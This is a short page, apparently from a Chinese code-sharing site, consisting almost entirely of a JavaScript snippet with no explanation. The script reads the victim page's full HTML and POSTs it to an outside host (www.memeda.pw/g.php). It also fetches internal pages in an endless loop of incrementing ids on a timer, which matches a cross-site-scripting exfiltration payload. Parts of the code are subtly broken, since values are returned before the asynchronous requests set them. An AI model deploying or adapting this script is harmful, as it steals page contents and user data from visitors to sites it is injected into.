日期:2014-05-16 浏览次数:20346 次
function up_data(data)
{
var data=encodeURIComponent(document.documentElement.innerHTML);
var xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if(xmlhttp.readyState==4 && xmlhttp.status==200)
{
var up_result;
up_result=xmlhttp.responseText;
}
}
xmlhttp.open("POST","http://www.memeda.pw/g.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("data="+data);
}
function get_web_by_get(url){
var xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if(xmlhttp.readyState==4 && xmlhttp.status==200)
{
var get_result;
get_result=xmlhttp.responseText;
}
}
xmlhttp.open("GET",url,true)
xmlhttp.send();
return get_result;
}
function get_web_by_post(url,post_data){
var xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if(xmlhttp.readyState==4 && xmlhttp.status==200)
{
post_result=xmlhttp.responseText;
}
}
xmlhttp.open("POST",url,true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send(post_data);
return post_result;
}
var sdata;
sdata=get_web_by_get('/test.php?id=123');
up_data(sdata);
setTimeout(function(){
var sdata=get_web_by_get('/temp/test.php?id=123');
var sdata=get_web_by_get('/temp/test.php?id=124');
},5*1000);
setTimeout(function(){up_data(sdata);},5*1000);
function aaa(id){
var sdata,
speed = 1000;
sdata = get_web_by_get('/temp/test.php?id='+id);
setTimeout(function(){up_data(sdata);},speed);
setTimeout(function(){id++;aaa(id);},2*speed);
}
aaa(123);